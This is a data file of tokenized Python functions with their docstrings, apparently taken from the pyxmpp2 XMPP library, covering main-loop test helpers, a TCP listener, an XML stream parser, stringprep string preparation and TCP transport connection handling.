{"signature": "def start_connections(self, target_address, number):", "body": "def thread_func():<EOL><INDENT>for dummy in range(number):<EOL><INDENT>sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<EOL>try:<EOL><INDENT>sock.connect(target_address)<EOL>with self.lock:<EOL><INDENT>if self.connected is None:<EOL><INDENT>return<EOL><DEDENT>self.connected.append(sock)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>sock.close()<EOL>raise<EOL><DEDENT><DEDENT><DEDENT>thread = threading.Thread(name = \"<STR_LIT>\",<EOL>target = thread_func)<EOL>thread.daemon = True<EOL>thread.start()<EOL>", "docstring": "Start a thread which will make `number` connections to\n`target_address`.", "id": "f15298:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def make_loop(handlers):<DEDENT>", "body": "return PollMainLoop(None, handlers)<EOL>", "docstring": "Return a main loop object for use with this test suite.", "id": "f15298:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def make_loop(handlers):<DEDENT>", "body": "from pyxmpp2.mainloop.glib import GLibMainLoop<EOL>return GLibMainLoop(None, handlers)<EOL>", "docstring": "Return a main loop object for use with this test suite.", "id": "f15298:c2:m0"}
{"signature": "def make_loop(self, handlers):", "body": "self._loop = ThreadPool(None, handlers)<EOL>self._loop.start()<EOL>return self._loop<EOL>", "docstring": "Return a main loop object for use with this test suite.", "id": "f15298:c3:m1"}
{"signature": "def __init__(self, family, address, target):", "body": "self._socket = None<EOL>self._lock = threading.RLock()<EOL>self._target = target<EOL>sock = socket.socket(family, socket.SOCK_STREAM)<EOL>try:<EOL><INDENT>sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, <NUM_LIT:1>)<EOL>sock.bind(address)<EOL><DEDENT>except:<EOL><INDENT>sock.close()<EOL>raise<EOL><DEDENT>self._socket = sock<EOL>", "docstring": "Initialize the `TCPListener` object and create the socket.\n\n        :Parameters:\n            - `family`: address family (:std:`socket.AF_INET` or\n              :std:`socket.AF_INET6`)\n            - `address`: address to listen on (address, port)\n            - `target`: function to call on an accepted connection", "id": "f15303:c0:m0"}
{"signature": "def prepare(self):", "body": "with self._lock:<EOL><INDENT>if self._socket:<EOL><INDENT>self._socket.listen(SOMAXCONN)<EOL>self._socket.setblocking(False)<EOL><DEDENT>return HandlerReady()<EOL><DEDENT>", "docstring": "When connecting start the next connection step and schedule\n        next `prepare` call, when connected return `HandlerReady()`", "id": "f15303:c0:m3"}
{"signature": "def fileno(self):", "body": "with self._lock:<EOL><INDENT>if self._socket:<EOL><INDENT>return self._socket.fileno()<EOL><DEDENT><DEDENT>", "docstring": "Return file descriptor to poll or select.", "id": "f15303:c0:m4"}
{"signature": "def handle_read(self):", "body": "with self._lock:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>if self._socket is None:<EOL><INDENT>return<EOL><DEDENT>while True:<EOL><INDENT>try:<EOL><INDENT>sock, address = self._socket.accept()<EOL><DEDENT>except socket.error as err:<EOL><INDENT>if err.args[<NUM_LIT:0>] in BLOCKING_ERRORS:<EOL><INDENT>break<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>logger.debug(\"<STR_LIT>\".format(address))<EOL>self._target(sock, address)<EOL><DEDENT><DEDENT>", "docstring": "Accept any incoming connections.", "id": "f15303:c0:m10"}
{"signature": "def payload_class_for_element_name(element_name):", "body": "logger.debug(\"<STR_LIT>\".format(<EOL>element_name))<EOL>logger.debug(\"<STR_LIT>\".format(STANZA_PAYLOAD_CLASSES))<EOL>if element_name in STANZA_PAYLOAD_CLASSES:<EOL><INDENT>return STANZA_PAYLOAD_CLASSES[element_name]<EOL><DEDENT>else:<EOL><INDENT>return XMLPayload<EOL><DEDENT>", "docstring": "Return a payload class for given element name.", "id": "f15304:m0"}
{"signature": "def payload_element_names_for_class(klass):", "body": "return STANZA_PAYLOAD_ELEMENTS[klass]<EOL>", "docstring": "Return a payload element name for given class.", "id": "f15304:m1"}
{"signature": "def payload_factory(element):", "body": "return payload_class_for_element_name(element.tag).from_xml(element)<EOL>", "docstring": "Return a specialized `StanzaPayload` object for given element.", "id": "f15304:m2"}
{"signature": "@property<EOL><INDENT>def handler_key(self):<DEDENT>", "body": "return self.xml_element_name<EOL>", "docstring": "Return `xml_element_name` as the extra key for stanza\n        handlers.", "id": "f15304:c0:m3"}
{"signature": "def stream_start(self, element):", "body": "logger.error(\"<STR_LIT>\".format(element))<EOL>", "docstring": "Called when the start tag of root element is encountered\n        in the stream.\n\n        :Parameters:\n            - `element`: the root element\n        :Types:\n            - `element`: :etree:`ElementTree.Element`", "id": "f15305:c0:m0"}
{"signature": "def stream_end(self):", "body": "logger.error(\"<STR_LIT>\")<EOL>", "docstring": "Called when the end tag of root element is encountered\n        in the stream.", "id": "f15305:c0:m1"}
{"signature": "def stream_element(self, element):", "body": "logger.error(\"<STR_LIT>\".format(element))<EOL>", "docstring": "Called when the end tag of a direct child of the root\n        element is encountered in the stream.\n\n        :Parameters:\n            - `element`: the (complete) element being processed\n        :Types:\n            - `element`: :etree:`ElementTree.Element`", "id": "f15305:c0:m2"}
{"signature": "def stream_parse_error(self, descr):", "body": "raise StreamParseError(descr)<EOL>", "docstring": "Called when an error is encountered in the stream.\n\n        :Parameters:\n            - `descr`: description of the error\n        :Types:\n            - `descr`: `unicode`", "id": "f15305:c0:m3"}
{"signature": "def stream_eof(self):", "body": "pass<EOL>", "docstring": "Called when stream input ends (EOF, socket closed by peer)\n        which could happen before actual stream end tag was received,\n        but usually will happen just after that.\n\n        This event is not generated by the XMPP parser, but may be generated\n        by transports.", "id": "f15305:c0:m4"}
{"signature": "def __init__(self, handler):", "body": "self._handler = handler<EOL>self._head = \"<STR_LIT>\"<EOL>self._tail = \"<STR_LIT>\"<EOL>self._builder = None<EOL>self._level = <NUM_LIT:0><EOL>self._root = None<EOL>", "docstring": "Initialize the SAX handler.\n\n        :Parameters:\n            - `handler`: Object to handle stream start, end and stanzas.\n        :Types:\n            - `handler`: `XMLStreamHandler`", "id": "f15305:c1:m0"}
{"signature": "def data(self, data):", "body": "if self._level > <NUM_LIT:1>:<EOL><INDENT>return self._builder.data(data)<EOL><DEDENT>", "docstring": "Handle XML text data.\n\n        Ignore the data outside the root element and directly under the root,\n        pass all other text to the tree builder, so it will be included in the\n        stanzas.", "id": "f15305:c1:m1"}
{"signature": "def start(self, tag, attrs):", "body": "if self._level == <NUM_LIT:0>:<EOL><INDENT>self._root = ElementTree.Element(tag, attrs)<EOL>self._handler.stream_start(self._root)<EOL><DEDENT>if self._level < <NUM_LIT:2>:<EOL><INDENT>self._builder = ElementTree.TreeBuilder()<EOL><DEDENT>self._level += <NUM_LIT:1><EOL>return self._builder.start(tag, attrs)<EOL>", "docstring": "Handle the start tag.\n\n        Call the handler's 'stream_start' methods with\n        an empty root element if it is top level.\n\n        For lower level tags use :etree:`ElementTree.TreeBuilder` to collect\n        them.", "id": "f15305:c1:m2"}
{"signature": "def close(self):", "body": "pass<EOL>", "docstring": "Handle the stream end.", "id": "f15305:c1:m3"}
{"signature": "def end(self, tag):", "body": "self._level -= <NUM_LIT:1><EOL>if self._level < <NUM_LIT:0>:<EOL><INDENT>self._handler.stream_parse_error(\"<STR_LIT>\"<EOL>.format(tag))<EOL>return<EOL><DEDENT>if self._level == <NUM_LIT:0>:<EOL><INDENT>if tag != self._root.tag:<EOL><INDENT>self._handler.stream_parse_error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(tag))<EOL>return<EOL><DEDENT>self._handler.stream_end()<EOL>return<EOL><DEDENT>element = self._builder.end(tag)<EOL>if self._level == <NUM_LIT:1>:<EOL><INDENT>self._handler.stream_element(element)<EOL><DEDENT>", "docstring": "Handle an end tag.\n\n        Call the handler's 'stream_end' method with\n        an the root element (built by the `start` method).\n\n        On the first level below root, sent the built element tree\n        to the handler via the 'stanza methods'.\n\n        Any tag below will be just added to the tree builder.", "id": "f15305:c1:m4"}
{"signature": "def __init__(self, handler):", "body": "self.handler = handler<EOL>self.parser = ElementTree.XMLParser(target = ParserTarget(handler))<EOL>self.lock = threading.RLock()<EOL>self.in_use = False<EOL>self._started = False<EOL>", "docstring": "Initialize the reader.\n\n        :Parameters:\n            - `handler`: Object to handle stream start, end and stanzas.\n        :Types:\n            - `handler`: `XMLStreamHandler`", "id": "f15305:c2:m0"}
{"signature": "def feed(self, data):", "body": "with self.lock:<EOL><INDENT>if self.in_use:<EOL><INDENT>raise StreamParseError(\"<STR_LIT>\")<EOL><DEDENT>self.in_use = True<EOL>try:<EOL><INDENT>if not self._started:<EOL><INDENT>if len(data) > <NUM_LIT:1>:<EOL><INDENT>self.parser.feed(data[:<NUM_LIT:1>])<EOL>data = data[<NUM_LIT:1>:]<EOL><DEDENT>self._started = True<EOL><DEDENT>if data:<EOL><INDENT>self.parser.feed(data)<EOL><DEDENT>else:<EOL><INDENT>self.parser.close()<EOL><DEDENT><DEDENT>except ElementTree.ParseError as err:<EOL><INDENT>self.handler.stream_parse_error(str(err))<EOL><DEDENT>finally:<EOL><INDENT>self.in_use = False<EOL><DEDENT><DEDENT>", "docstring": "Feed the parser with a chunk of data. Apropriate methods\n        of `handler` will be called whenever something interesting is\n        found.\n\n        :Parameters:\n            - `data`: the chunk of data to parse.\n        :Types:\n            - `data`: `str`", "id": "f15305:c2:m1"}
{"signature": "def b1_mapping(char):", "body": "if stringprep.in_table_b1(char):<EOL><INDENT>return u\"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Do RFC 3454 B.1 table mapping.\n\n    :Parameters:\n        - `char`: Unicode character to map.\n\n    :returns: u\"\" if there is `char` code in the table, `None` otherwise.", "id": "f15306:m0"}
{"signature": "def c12_mapping(char):", "body": "if stringprep.in_table_c12(char):<EOL><INDENT>return u\"<STR_LIT:U+0020>\"<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Do mapping of RFC 3454 C.1.2 space characters to ' '.\n\n    :Parameters:\n        - `char`: Unicode character to map.\n\n    :returns: u\" \" if there is `char` code in the table, `None` otherwise.", "id": "f15306:m1"}
{"signature": "def nfkc(data):", "body": "if isinstance(data, list):<EOL><INDENT>data = u\"<STR_LIT>\".join(data)<EOL><DEDENT>return unicodedata.normalize(\"<STR_LIT>\", data)<EOL>", "docstring": "Do NFKC normalization of Unicode data.\n\n    :Parameters:\n        - `data`: list of Unicode characters or Unicode string.\n\n    :return: normalized Unicode string.", "id": "f15306:m2"}
{"signature": "def set_stringprep_cache_size(size):", "body": "<EOL>global _stringprep_cache_size<EOL>_stringprep_cache_size = size<EOL>if len(Profile.cache_items) > size:<EOL><INDENT>remove = Profile.cache_items[:-size]<EOL>for profile, key in remove:<EOL><INDENT>try:<EOL><INDENT>del profile.cache[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>Profile.cache_items = Profile.cache_items[-size:]<EOL><DEDENT>", "docstring": "Modify stringprep cache size.\n\n    :Parameters:\n        - `size`: new cache size", "id": "f15306:m3"}
{"signature": "def __init__(self, unassigned, mapping, normalization, prohibited,<EOL>bidi = True):", "body": "<EOL>self.unassigned = unassigned<EOL>self.mapping = mapping<EOL>self.normalization = normalization<EOL>self.prohibited = prohibited<EOL>self.bidi = bidi<EOL>self.cache = {}<EOL>", "docstring": "Initialize Profile object.\n\n        :Parameters:\n            - `unassigned`: the lookup table with unassigned codes\n            - `mapping`: the lookup table with character mappings\n            - `normalization`: the normalization function\n            - `prohibited`: the lookup table with prohibited characters\n            - `bidi`: if True then bidirectional checks should be done\n        :Types:\n            - `unassigned`: tuple of functions\n            - `mapping`: tuple of functions\n            - `normalization`: tuple of functions\n            - `prohibited`: tuple of functions\n            - `bidi`: `bool`", "id": "f15306:c0:m0"}
{"signature": "def prepare(self, data):", "body": "ret = self.cache.get(data)<EOL>if ret is not None:<EOL><INDENT>return ret<EOL><DEDENT>result = self.map(data)<EOL>if self.normalization:<EOL><INDENT>result = self.normalization(result)<EOL><DEDENT>result = self.prohibit(result)<EOL>result = self.check_unassigned(result)<EOL>if self.bidi:<EOL><INDENT>result = self.check_bidi(result)<EOL><DEDENT>if isinstance(result, list):<EOL><INDENT>result = u\"<STR_LIT>\".join()<EOL><DEDENT>if len(self.cache_items) >= _stringprep_cache_size:<EOL><INDENT>remove = self.cache_items[: -_stringprep_cache_size // <NUM_LIT:2>]<EOL>for profile, key in remove:<EOL><INDENT>try:<EOL><INDENT>del profile.cache[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>self.cache_items[:] = self.cache_items[<EOL>-_stringprep_cache_size // <NUM_LIT:2> :]<EOL><DEDENT>self.cache_items.append((self, data))<EOL>self.cache[data] = result<EOL>return result<EOL>", "docstring": "Complete string preparation procedure for 'stored' strings.\n        (includes checks for unassigned codes)\n\n        :Parameters:\n            - `data`: Unicode string to prepare.\n\n        :return: prepared string\n\n        :raise StringprepError: if the preparation fails", "id": "f15306:c0:m1"}
{"signature": "def prepare_query(self, data):", "body": "data = self.map(data)<EOL>if self.normalization:<EOL><INDENT>data = self.normalization(data)<EOL><DEDENT>data = self.prohibit(data)<EOL>if self.bidi:<EOL><INDENT>data = self.check_bidi(data)<EOL><DEDENT>if isinstance(data, list):<EOL><INDENT>data = u\"<STR_LIT>\".join(data)<EOL><DEDENT>return data<EOL>", "docstring": "Complete string preparation procedure for 'query' strings.\n        (without checks for unassigned codes)\n\n        :Parameters:\n            - `data`: Unicode string to prepare.\n\n        :return: prepared string\n\n        :raise StringprepError: if the preparation fails", "id": "f15306:c0:m2"}
{"signature": "def map(self, data):", "body": "result = []<EOL>for char in data:<EOL><INDENT>ret = None<EOL>for lookup in self.mapping:<EOL><INDENT>ret = lookup(char)<EOL>if ret is not None:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if ret is not None:<EOL><INDENT>result.append(ret)<EOL><DEDENT>else:<EOL><INDENT>result.append(char)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Mapping part of string preparation.", "id": "f15306:c0:m3"}
{"signature": "def prohibit(self, data):", "body": "for char in data:<EOL><INDENT>for lookup in self.prohibited:<EOL><INDENT>if lookup(char):<EOL><INDENT>raise StringprepError(\"<STR_LIT>\"<EOL>.format(char))<EOL><DEDENT><DEDENT><DEDENT>return data<EOL>", "docstring": "Checks for prohibited characters.", "id": "f15306:c0:m4"}
{"signature": "def check_unassigned(self, data):", "body": "for char in data:<EOL><INDENT>for lookup in self.unassigned:<EOL><INDENT>if lookup(char):<EOL><INDENT>raise StringprepError(\"<STR_LIT>\"<EOL>.format(char))<EOL><DEDENT><DEDENT><DEDENT>return data<EOL>", "docstring": "Checks for unassigned character codes.", "id": "f15306:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def check_bidi(data):<DEDENT>", "body": "has_l = False<EOL>has_ral = False<EOL>for char in data:<EOL><INDENT>if stringprep.in_table_d1(char):<EOL><INDENT>has_ral = True<EOL><DEDENT>elif stringprep.in_table_d2(char):<EOL><INDENT>has_l = True<EOL><DEDENT><DEDENT>if has_l and has_ral:<EOL><INDENT>raise StringprepError(\"<STR_LIT>\")<EOL><DEDENT>if has_ral and (not stringprep.in_table_d1(data[<NUM_LIT:0>])<EOL>or not stringprep.in_table_d1(data[-<NUM_LIT:1>])):<EOL><INDENT>raise StringprepError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return data<EOL>", "docstring": "Checks if sting is valid for bidirectional printing.", "id": "f15306:c0:m6"}
{"signature": "def __init__(self, settings = None, sock = None):", "body": "if settings:<EOL><INDENT>self.settings = settings<EOL><DEDENT>else:<EOL><INDENT>self.settings = XMPPSettings()<EOL><DEDENT>self.lock = threading.RLock()<EOL>self._write_queue = deque()<EOL>self._write_queue_cond = threading.Condition(self.lock)<EOL>self._eof = False<EOL>self._hup = False<EOL>self._stream = None<EOL>self._serializer = None<EOL>self._reader = None<EOL>self._dst_name = None<EOL>self._dst_port = None<EOL>self._dst_service = None<EOL>self._dst_nameports = None<EOL>self._dst_hostname = None<EOL>self._dst_addrs = None<EOL>self._tls_state = None<EOL>self._state_cond = threading.Condition(self.lock)<EOL>if sock is None:<EOL><INDENT>self._socket = None<EOL>self._dst_addr = None<EOL>self._family = None<EOL>self._state = None<EOL><DEDENT>else:<EOL><INDENT>self._socket = sock<EOL>self._family = sock.family<EOL>self._dst_addr = sock.getpeername()<EOL>self._state = \"<STR_LIT>\"<EOL>self._socket.setblocking(False)<EOL><DEDENT>self._event_queue = self.settings[\"<STR_LIT>\"]<EOL>self._auth_properties = {}<EOL>", "docstring": "Initialize the `TCPTransport` object.\n\n        :Parameters:\n            - `settings`: XMPP settings to use\n            - `sock`: existing socket, e.g. for accepted incoming connection.", "id": "f15308:c5:m0"}
{"signature": "def _set_state(self, state):", "body": "logger.debug(\"<STR_LIT>\".format(state))<EOL>self._state = state<EOL>self._state_cond.notify()<EOL>", "docstring": "Set `_state` and notify any threads waiting for the change.", "id": "f15308:c5:m1"}
{"signature": "def connect(self, addr, port = None, service = None):", "body": "with self.lock:<EOL><INDENT>self._connect(addr, port, service)<EOL><DEDENT>", "docstring": "Start establishing TCP connection with given address.\n\n        One of: `port` or `service` must be provided and `addr` must be\n        a domain name and not an IP address if `port` is not given.\n\n        When `service` is given try an SRV lookup for that service\n        at domain `addr`. If `service` is not given or `addr` is an IP address,\n        or the SRV lookup fails, connect to `port` at host `addr` directly.\n\n        [initiating entity only]\n\n        :Parameters:\n            - `addr`: peer name or IP address\n            - `port`: port number to connect to\n            - `service`: service name (to be resolved using SRV DNS records)", "id": "f15308:c5:m2"}
{"signature": "def _connect(self, addr, port, service):", "body": "self._dst_name = addr<EOL>self._dst_port = port<EOL>family = None<EOL>try:<EOL><INDENT>res = socket.getaddrinfo(addr, port, socket.AF_UNSPEC,<EOL>socket.SOCK_STREAM, <NUM_LIT:0>, socket.AI_NUMERICHOST)<EOL>family = res[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>sockaddr = res[<NUM_LIT:0>][<NUM_LIT:4>]<EOL><DEDENT>except socket.gaierror:<EOL><INDENT>family = None<EOL>sockaddr = None<EOL><DEDENT>if family is not None:<EOL><INDENT>if not port:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._dst_service = None<EOL>self._family = family<EOL>self._dst_addrs = [(family, sockaddr)]<EOL>self._set_state(\"<STR_LIT>\")<EOL><DEDENT>elif service is not None:<EOL><INDENT>self._dst_service = service<EOL>self._set_state(\"<STR_LIT>\")<EOL>self._dst_name = addr<EOL><DEDENT>elif port:<EOL><INDENT>self._dst_nameports = [(self._dst_name, self._dst_port)]<EOL>self._dst_service = None<EOL>self._set_state(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Same as `connect`, but assumes `lock` acquired.", "id": "f15308:c5:m3"}
{"signature": "def _resolve_srv(self):", "body": "resolver = self.settings[\"<STR_LIT>\"] <EOL>self._set_state(\"<STR_LIT>\")<EOL>self.event(ResolvingSRVEvent(self._dst_name, self._dst_service))<EOL>resolver.resolve_srv(self._dst_name, self._dst_service, \"<STR_LIT>\",<EOL>callback = self._got_srv)<EOL>", "docstring": "Start resolving the SRV record.", "id": "f15308:c5:m4"}
{"signature": "def _got_srv(self, addrs):", "body": "with self.lock:<EOL><INDENT>if not addrs:<EOL><INDENT>self._dst_service = None<EOL>if self._dst_port:<EOL><INDENT>self._dst_nameports = [(self._dst_name, self._dst_port)]<EOL><DEDENT>else:<EOL><INDENT>self._dst_nameports = []<EOL>self._set_state(\"<STR_LIT>\")<EOL>raise DNSError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>.format(self._dst_service, self._dst_name))<EOL><DEDENT><DEDENT>elif addrs == [(\"<STR_LIT:.>\", <NUM_LIT:0>)]:<EOL><INDENT>self._dst_nameports = []<EOL>self._set_state(\"<STR_LIT>\")<EOL>raise DNSError(\"<STR_LIT>\"<EOL>.format(self._dst_service, self._dst_name))<EOL><DEDENT>else:<EOL><INDENT>self._dst_nameports = addrs<EOL><DEDENT>self._set_state(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Handle SRV lookup result.\n\n        :Parameters:\n            - `addrs`: properly sorted list of (hostname, port) tuples", "id": "f15308:c5:m5"}
{"signature": "def _resolve_hostname(self):", "body": "self._set_state(\"<STR_LIT>\")<EOL>resolver = self.settings[\"<STR_LIT>\"] <EOL>logger.debug(\"<STR_LIT>\".format(self._dst_nameports))<EOL>name, port = self._dst_nameports.pop(<NUM_LIT:0>)<EOL>self._dst_hostname = name<EOL>resolver.resolve_address(name, callback = partial(<EOL>self._got_addresses, name, port),<EOL>allow_cname = self._dst_service is None)<EOL>self.event(ResolvingAddressEvent(name))<EOL>", "docstring": "Start hostname resolution for the next name to try.\n\n        [called with `lock` acquired]", "id": "f15308:c5:m6"}
{"signature": "def _got_addresses(self, name, port, addrs):", "body": "with self.lock:<EOL><INDENT>if not addrs:<EOL><INDENT>if self._dst_nameports:<EOL><INDENT>self._set_state(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>else:<EOL><INDENT>self._dst_addrs = []<EOL>self._set_state(\"<STR_LIT>\")<EOL>raise DNSError(\"<STR_LIT>\"<EOL>.format(name))<EOL><DEDENT><DEDENT>self._dst_addrs = [ (family, (addr, port)) for (family, addr)<EOL>in addrs ]<EOL>self._set_state(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Handler DNS address record lookup result.\n\n        :Parameters:\n            - `name`: the name requested\n            - `port`: port number to connect to\n            - `addrs`: list of (family, address) tuples", "id": "f15308:c5:m7"}
{"signature": "def _start_connect(self):", "body": "family, addr = self._dst_addrs.pop(<NUM_LIT:0>)<EOL>self._socket = socket.socket(family, socket.SOCK_STREAM)<EOL>self._socket.setblocking(False)<EOL>self._dst_addr = addr<EOL>self._family  = family<EOL>try:<EOL><INDENT>self._socket.connect(addr)<EOL><DEDENT>except socket.error as err:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(err))<EOL>if err.args[<NUM_LIT:0>] in BLOCKING_ERRORS:<EOL><INDENT>self._set_state(\"<STR_LIT>\")<EOL>self._write_queue.append(ContinueConnect())<EOL>self._write_queue_cond.notify()<EOL>self.event(ConnectingEvent(addr))<EOL>return<EOL><DEDENT>elif self._dst_addrs:<EOL><INDENT>self._set_state(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>elif self._dst_nameports:<EOL><INDENT>self._set_state(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>else:<EOL><INDENT>self._socket.close()<EOL>self._socket = None<EOL>self._set_state(\"<STR_LIT>\")<EOL>self._write_queue.clear()<EOL>self._write_queue_cond.notify()<EOL>raise<EOL><DEDENT><DEDENT>self._connected()<EOL>", "docstring": "Start connecting to the next address on the `_dst_addrs` list.\n\n        [ called with `lock` acquired ]", "id": "f15308:c5:m8"}
{"signature": "def _connected(self):", "body": "self._auth_properties['<STR_LIT>'] = self._dst_addr[<NUM_LIT:0>]<EOL>if self._dst_service:<EOL><INDENT>self._auth_properties['<STR_LIT>'] = self._dst_name<EOL><DEDENT>if self._dst_hostname is not None:<EOL><INDENT>self._auth_properties['<STR_LIT>'] = self._dst_hostname<EOL><DEDENT>else:<EOL><INDENT>self._auth_properties['<STR_LIT>'] = self._dst_addr[<NUM_LIT:0>]<EOL><DEDENT>self._auth_properties['<STR_LIT>'] = None<EOL>self.event(ConnectedEvent(self._dst_addr))<EOL>self._set_state(\"<STR_LIT>\")<EOL>self._stream.transport_connected()<EOL>", "docstring": "Handle connection success.", "id": "f15308:c5:m9"}
{"signature": "def _continue_connect(self):", "body": "try:<EOL><INDENT>self._socket.connect(self._dst_addr)<EOL><DEDENT>except socket.error as err:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(err))<EOL>if err.args[<NUM_LIT:0>] == errno.EISCONN:<EOL><INDENT>pass<EOL><DEDENT>elif err.args[<NUM_LIT:0>] in BLOCKING_ERRORS:<EOL><INDENT>return None<EOL><DEDENT>elif self._dst_addrs:<EOL><INDENT>self._set_state(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>elif self._dst_nameports:<EOL><INDENT>self._set_state(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>else:<EOL><INDENT>self._socket.close()<EOL>self._socket = None<EOL>self._set_state(\"<STR_LIT>\")<EOL>raise<EOL><DEDENT><DEDENT>self._connected()<EOL>", "docstring": "Continue connecting.\n\n        [called with `lock` acquired]\n\n        :Return: `True` when just connected", "id": "f15308:c5:m10"}
{"signature": "def _write(self, data):", "body": "OUT_LOGGER.debug(\"<STR_LIT>\", data)<EOL>if self._hup or not self._socket:<EOL><INDENT>raise PyXMPPIOError(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>while data:<EOL><INDENT>try:<EOL><INDENT>sent = self._socket.send(data)<EOL><DEDENT>except ssl.SSLError as err:<EOL><INDENT>if err.args[<NUM_LIT:0>] == ssl.SSL_ERROR_WANT_WRITE:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>except socket.error as err:<EOL><INDENT>if err.args[<NUM_LIT:0>] == errno.EINTR:<EOL><INDENT>continue<EOL><DEDENT>if err.args[<NUM_LIT:0>] in BLOCKING_ERRORS:<EOL><INDENT>wait_for_write(self._socket)<EOL>continue<EOL><DEDENT>raise<EOL><DEDENT>data = data[sent:]<EOL><DEDENT><DEDENT>except (IOError, OSError, socket.error) as err:<EOL><INDENT>raise PyXMPPIOError(\"<STR_LIT>\".format(err))<EOL><DEDENT>", "docstring": "Write raw data to the socket.\n\n        :Parameters:\n            - `data`: data to send\n        :Types:\n            - `data`: `bytes`", "id": "f15308:c5:m11"}
{"signature": "def set_target(self, stream):", "body": "with self.lock:<EOL><INDENT>if self._stream:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._stream = stream<EOL>self._reader = StreamReader(stream)<EOL><DEDENT>", "docstring": "Make the `stream` the target for this transport instance.\n\n        The 'stream_start', 'stream_end' and 'stream_element' methods\n        of the target will be called when appropriate content is received.\n\n        :Parameters:\n            - `stream`: the stream handler to receive stream content\n              from the transport\n        :Types:\n            - `stream`: `StreamBase`", "id": "f15308:c5:m12"}
{"signature": "def send_stream_head(self, stanza_namespace, stream_from, stream_to,<EOL>stream_id = None, version = '<STR_LIT:1.0>', language = None):", "body": "<EOL>with self.lock:<EOL><INDENT>self._serializer = XMPPSerializer(stanza_namespace,<EOL>self.settings[\"<STR_LIT>\"])<EOL>head = self._serializer.emit_head(stream_from, stream_to,<EOL>stream_id, version, language)<EOL>self._write(head.encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT>", "docstring": "Send stream head via the transport.\n\n:Parameters:\n    - `stanza_namespace`: namespace of stream stanzas (e.g.\n      'jabber:client')\n    - `stream_from`: the 'from' attribute of the stream. May be `None`.\n    - `stream_to`: the 'to' attribute of the stream. May be `None`.\n    - `version`: the 'version' of the stream.\n    - `language`: the 'xml:lang' of the stream\n:Types:\n    - `stanza_namespace`: `unicode`\n    - `stream_from`: `unicode`\n    - `stream_to`: `unicode`\n    - `version`: `unicode`\n    - `language`: `unicode`", "id": "f15308:c5:m13"}
{"signature": "def restart(self):", "body": "self._reader = StreamReader(self._stream)<EOL>self._serializer = None<EOL>", "docstring": "Restart the stream after SASL or StartTLS handshake.", "id": "f15308:c5:m14"}
{"signature": "def send_stream_tail(self):", "body": "with self.lock:<EOL><INDENT>if not self._socket or self._hup:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>data = self._serializer.emit_tail()<EOL>try:<EOL><INDENT>self._write(data.encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT>except (IOError, SystemError, socket.error) as err:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(err))<EOL><DEDENT>self._serializer = None<EOL>self._hup = True<EOL>if self._tls_state is None:<EOL><INDENT>try:<EOL><INDENT>self._socket.shutdown(socket.SHUT_WR)<EOL><DEDENT>except socket.error:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>self._set_state(\"<STR_LIT>\")<EOL>self._write_queue.clear()<EOL>self._write_queue_cond.notify()<EOL><DEDENT>", "docstring": "Send stream tail via the transport.", "id": "f15308:c5:m15"}
{"signature": "def send_element(self, element):", "body": "with self.lock:<EOL><INDENT>if self._eof or self._socket is None or not self._serializer:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(<EOL>element_to_unicode(element)))<EOL>return<EOL><DEDENT>data = self._serializer.emit_stanza(element)<EOL>self._write(data.encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT>", "docstring": "Send an element via the transport.", "id": "f15308:c5:m16"}
